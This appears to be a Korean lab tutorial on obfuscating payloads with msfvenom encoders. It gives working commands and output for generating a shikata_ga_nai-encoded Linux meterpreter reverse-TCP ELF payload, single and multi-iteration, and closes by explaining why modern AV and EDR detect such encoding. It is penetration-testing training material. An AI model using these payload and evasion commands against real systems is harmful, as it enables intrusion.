msfvenom 으로 페이로드 난독화하기 위한 인코더 사용

Kali LinuxBeginner
지금 연습하기

소개

사이버 보안 분야에서 페이로드 난독화 (payload obfuscation) 는 보안 소프트웨어의 탐지를 회피하기 위해 사용되는 중요한 기술입니다. Metasploit Framework 내의 강력한 도구인 msfvenom은 독립적인 페이로드 생성기이며, 페이로드를 인코딩하여 구조를 변경함으로써 안티바이러스 (AV) 시스템의 시그니처 기반 탐지를 회피하는 데에도 사용될 수 있습니다.

인코더는 페이로드의 원본 코드에 일련의 변환을 적용하여 간단한 시그니처 스캐너가 읽을 수 없도록 만듭니다. 페이로드가 실행될 때, 작은 디코더 스텁 (decoder stub) 이 먼저 실행되어 메모리에서 원본 페이로드를 재구성한 다음, 실행을 페이로드로 이전합니다.

이 실험실에서는 msfvenom 인코더 사용의 기본 사항을 배우게 됩니다. 사용 가능한 인코더를 나열하는 것부터 시작하여, 인기 있는 인코더를 선택하여 인코딩된 페이로드를 생성하고, 여러 번의 인코딩을 적용한 다음, 이 기술이 최신 보안 솔루션에 얼마나 효과적인지에 대해 논의할 것입니다.

msfvenom --list encoders 를 사용하여 사용 가능한 인코더 나열하기

이 단계에서는 msfvenom에서 사용 가능한 모든 인코더를 나열하는 것부터 시작합니다. 이를 통해 페이로드 난독화를 위한 다양한 옵션을 개괄적으로 파악할 수 있습니다.

먼저, msfvenom을 포함하는 Metasploit Framework 가 설치되어 있는지 확인해야 합니다. 다음 명령을 실행하여 패키지 목록을 업데이트하고 설치합니다.

sudo apt-get update
sudo apt-get install -y metasploit-framework

설치가 완료되면 msfvenom--list encoders 옵션을 사용하여 사용 가능한 모든 인코더를 나열할 수 있습니다. 이 명령은 인코더의 순위 (rank), 이름 및 간단한 설명을 포함하는 테이블을 표시합니다. 순위는 인코더의 신뢰성과 효과를 나타내며, excellent가 가장 높습니다.

터미널에서 다음 명령을 실행합니다.

msfvenom --list encoders

사용 가능한 인코더의 긴 목록이 표시됩니다. 출력은 다음과 같은 구조로 각 인코더의 이름, 순위 및 설명을 보여줍니다.

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

잠시 시간을 내어 목록을 스크롤하며 다양한 아키텍처 및 목적에 사용할 수 있는 인코더의 다양성을 확인해 보세요.

x86/shikata_ga_nai 와 같은 인코더 선택하기

이 단계에서는 가장 잘 알려진 인코더 중 하나인 x86/shikata_ga_nai에 대해 배우게 됩니다. 이 단계에서는 실행할 명령이 없습니다. 목표는 특정 인코더를 선택하는 이유를 이해하는 것입니다.

이전 단계에서 생성한 목록에서 x86/shikata_ga_nai 인코더를 발견했을 것입니다. 이 인코더는 몇 가지 이유로 유명합니다.

  • 순위 (Rank): excellent 순위를 가지고 있어 매우 신뢰할 수 있으며 인코딩 과정에서 페이로드를 손상시킬 가능성이 낮습니다.
  • 다형성 (Polymorphism): 다형성 인코더입니다. 이는 적용될 때마다 자체 복호화 코드를 변경한다는 것을 의미합니다. 이론적으로 이는 AV 소프트웨어가 디코더 스텁에 대한 정적 시그니처를 만드는 것을 훨씬 더 어렵게 만듭니다.
  • 광범위한 사용: 수년 동안 Metasploit 에서 가장 인기 있고 기본 인코더 중 하나였으며, 난독화 학습을 위한 고전적인 예시입니다.

인기가 많아 최신 AV 에서 많이 지문 인식 (fingerprinted) 되었지만 (이는 나중에 다룰 주제입니다), 인코딩 과정을 시연하는 데 완벽한 예시로 남아 있습니다. 다음 단계에서는 이 인코더를 사용하여 페이로드를 난독화할 것입니다.

인코더를 지정하기 위해 -e 플래그를 사용하여 페이로드 생성하기

이 단계에서는 페이로드를 생성하고 x86/shikata_ga_nai 인코더를 적용합니다. 선택한 인코더를 지정하기 위해 -e 플래그를 사용할 것입니다.

간단한 Linux reverse TCP 페이로드를 만들어 보겠습니다. 이 페이로드는 지정된 IP 주소와 포트로 다시 연결을 시도합니다. 이를 인코딩하고 Linux 의 표준 바이너리 형식인 ELF(Executable and Linkable Format) 파일로 저장할 것입니다.

명령 구조는 다음과 같습니다.
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

  • -p: 페이로드를 지정합니다. linux/x86/meterpreter/reverse_tcp를 사용합니다.
  • LHOSTLPORT: 페이로드가 다시 연결할 위치를 알기 위해 필요한 옵션입니다. 이 예시에서는 127.0.0.1(localhost) 을 사용합니다.
  • -e: 인코더를 지정합니다. x86/shikata_ga_nai를 사용합니다.
  • -f: 출력 형식을 지정합니다. elf를 사용합니다.
  • >: 출력을 파일로 리디렉션합니다.

이제 터미널에서 다음 명령을 실행하여 인코딩된 페이로드를 생성하고 encoded_payload.elf로 저장합니다.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

msfvenom은 요청을 처리하고 최종 크기를 포함하여 생성된 페이로드에 대한 정보를 표시합니다.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

이제 현재 디렉토리 (~/project) 에 encoded_payload.elf라는 이름의 인코딩된 페이로드 파일을 성공적으로 생성했습니다. ls -l 명령으로 생성 여부를 확인할 수 있습니다.

ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

-i 플래그를 사용하여 여러 인코딩 반복 적용하기

이 단계에서는 -i 플래그를 사용하여 동일한 페이로드에 인코더를 여러 번 적용하는 방법을 배웁니다. 이론적으로 여러 계층의 인코딩은 페이로드를 더욱 탐지하기 어렵게 만듭니다.

이는 효과적으로 들리지만 절충점이 있습니다. 각 인코딩 반복은 새로운 디코더 스텁을 추가하여 페이로드의 전체 크기를 증가시킵니다. 또한, 때로는 보안 소프트웨어가 탐지할 수 있는 반복적인 패턴을 생성할 수 있습니다.

동일한 페이로드에 x86/shikata_ga_nai 인코더를 5 번 적용해 보겠습니다. 이전 페이로드와 비교하기 위해 이 새로운 페이로드를 multi_encoded_payload.elf로 저장할 것입니다.

-i 5 플래그를 추가하여 다음 명령을 사용하십시오.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

msfvenom은 이제 인코더를 다섯 번 적용합니다. 각 반복을 보여주는 출력을 확인하십시오.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

이제 ls -l을 사용하여 단일 인코딩된 페이로드와 다중 인코딩된 페이로드의 파일 크기를 비교하십시오.

ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

보시다시피, multi_encoded_payload.elf는 반복적인 인코딩 프로세스로 인해 encoded_payload.elf보다 훨씬 큽니다.

최신 AV 에 대한 인코더의 효과성 논의

이 마지막 단계에서는 x86/shikata_ga_nai와 같은 기본 인코더의 실제 효과성에 대해 논의합니다. 이 단계는 순전히 개념적이며 실행할 명령은 없습니다.

인코더는 한때 AV 를 우회하는 매우 효과적인 방법이었지만, 차세대 백신 (NGAV) 및 엔드포인트 탐지 및 대응 (EDR) 시스템과 같은 최신 보안 솔루션에 대해서는 그 효과가 크게 감소했습니다. 그 이유는 다음과 같습니다.

  1. 디코더의 시그니처: 보안 공급업체는 인기 있는 인코더가 어떻게 작동하는지 알고 있습니다. shikata_ga_nai의 디코더 스텁 자체도 잘 알려진 시그니처입니다. 많은 AV 제품은 페이로드를 디코딩하려고 시도하는 것과 관계없이 이 디코더를 포함하고 있다는 이유만으로 파일을 플래그 지정합니다. 더 많은 반복 (-i 플래그) 을 적용하면 이 시그니처가 더욱 명확해지는 경우가 많습니다.

  2. 휴리스틱 및 행위 분석: 최신 AV 는 정적 시그니처에만 의존하지 않습니다. 휴리스틱을 사용하여 의심스러운 특성 (예: 실행 가능한 메모리를 할당하려는 작은 프로그램) 을 식별하고 행위 분석을 사용하여 프로그램이 실행될 때 수행하는 작업을 모니터링합니다. 메모리에서 자체를 디코딩한 다음 리버스 쉘을 열려고 시도하는 인코딩된 페이로드는 쉽게 탐지되는 매우 의심스러운 행위입니다.

  3. 샌드박싱 및 에뮬레이션: 많은 보안 제품은 의심스러운 파일을 안전한 가상 환경 (샌드박스) 에서 실행하여 실제 시스템에서 실행되기 전에 해당 동작을 관찰할 수 있습니다. 샌드박스에서 AV 는 페이로드가 자체를 디코딩하도록 허용한 다음 원본 악성 코드를 분석할 수 있습니다.

결론적으로, msfvenom 인코더를 이해하는 것은 기본적인 기술이지만, 난독화를 위해 이들에만 의존하는 것은 최신 환경에서 실행 가능한 전략이 아닙니다. 고급 회피에는 사용자 정의 인코더 생성, 패커 및 암호화기 사용, 행위 탐지 엔진을 구체적으로 타겟팅하고 우회하는 방법 사용과 같은 보다 정교한 기술이 필요합니다.

요약

이 실습에서는 msfvenom 인코더를 사용한 페이로드 난독화의 기본 사항을 살펴보았습니다.

다음을 배웠습니다.

  • msfvenom --list encoders를 사용하여 사용 가능한 모든 인코더 나열하기
  • x86/shikata_ga_nai와 같은 인기 있는 다형성 인코더의 목적 선택 및 이해하기
  • -e 플래그를 사용하여 인코딩된 페이로드 생성하기
  • -i 플래그를 사용하여 여러 인코딩 반복 적용하고 파일 크기에 미치는 영향 관찰하기
  • 최신 바이러스 백신 및 EDR 솔루션에 대한 기본 인코더의 한계 이해하기

이 지식은 페이로드 생성과 악성 코드 탐지 및 회피의 고양이와 쥐 게임을 이해하는 데 견고한 기반을 제공합니다. 연습한 기술은 전문 침투 테스트에서 사용되는 보다 고급 난독화 방법을 탐색하기 위한 시작점입니다.